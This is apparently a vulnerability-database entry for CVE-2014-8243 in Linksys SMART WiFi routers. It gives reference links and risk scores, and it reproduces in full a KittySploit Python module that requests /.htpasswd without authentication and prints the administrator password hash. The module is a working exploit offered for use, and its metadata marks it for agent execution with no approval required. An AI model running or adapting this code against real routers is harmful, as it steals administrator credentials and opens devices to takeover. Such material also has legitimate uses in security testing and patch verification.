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Linksys SMART WiFi Password Disclosure

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
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Unauthenticated password disclosure in Linksys SMART WiFi retrieves administrator MD5 password.

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Family
cve
CVE
CVE-2014-8243
1 Nov 201410:00
–cve
cvelist
Cvelist
CVE-2014-8243
1 Nov 201410:00
–cvelist
euvd
EUVD
EUVD-2014-8084
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2014-8243
1 Nov 201410:55
–nvd
prion
Prion
Design/Logic Flaw
1 Nov 201410:55
–prion
ptsecurity
Positive Technologies
PT-2014-8437
1 Nov 201400:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2014-8243: Undefined Security Weakness
1 Nov 201400:00
–rapid7
threatpost
ThreatPost
Linksys SMART Wi-Fi Firmware Patches Released
4 Nov 201410:53
–threatpost
cert
CERT
Linksys SMART WiFi firmware contains multiple vulnerabilities
31 Oct 201400:00
–cert
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linksys SMART WiFi Password Disclosure"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Linksys SMART WiFi Password Disclosure',
        'description': "Exploit implementation for Linksys SMART WiFi Password Disclosure vulnerability. If target is vulnerable administrator\\'s MD5 passsword is retrieved.",
        'author': ['Sijmen Ruwhof', '0BuRner'],
        'cve': ['CVE-2014-8243'],
        'platform': Platform.LINUX,
        'references': ['https://www.kb.cert.org/vuls/id/447516', 'http://sijmen.ruwhof.net/weblog/268-password-hash-disclosure-in-linksys-smart-wifi-routers', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8243', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8243'],
        'tags': ['iot', 'router', 'disclosure', 'credentials', 'unauth', 'cve-2014-8243', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def run(self):
        if self.check():
            print_success("Target seems to be vulnerable")

            response = self.http_request(
                method="GET",
                path="/.htpasswd"
            )
            if response is None:
                print_error("Exploit failed - connection error")
                return

            if (response.text.find('$') != -1):
                print_info("Likely Unix crypt hash: $id$salt$hashed")  # See more at http://man7.org/linux/man-pages/man3/crypt.3.html
            else:
                print_info("Likely base64 encoded .htaccess")  # John understands this natively

            print_success("Hash found:", response.text)
        else:
            print_error("Exploit failed - target seems to be not vulnerable")
    def check(self):

        response = self.http_request(
            method="GET",
            path="/.htpasswd"
        )

        if response is not None and response.status_code == 200:
            res = re.findall(r"^([a-zA-Z0-9]+:\S+)", response.text)
            if len(res):
                return True

        return False

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19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8
CVSS 23.3
EPSS0.01204
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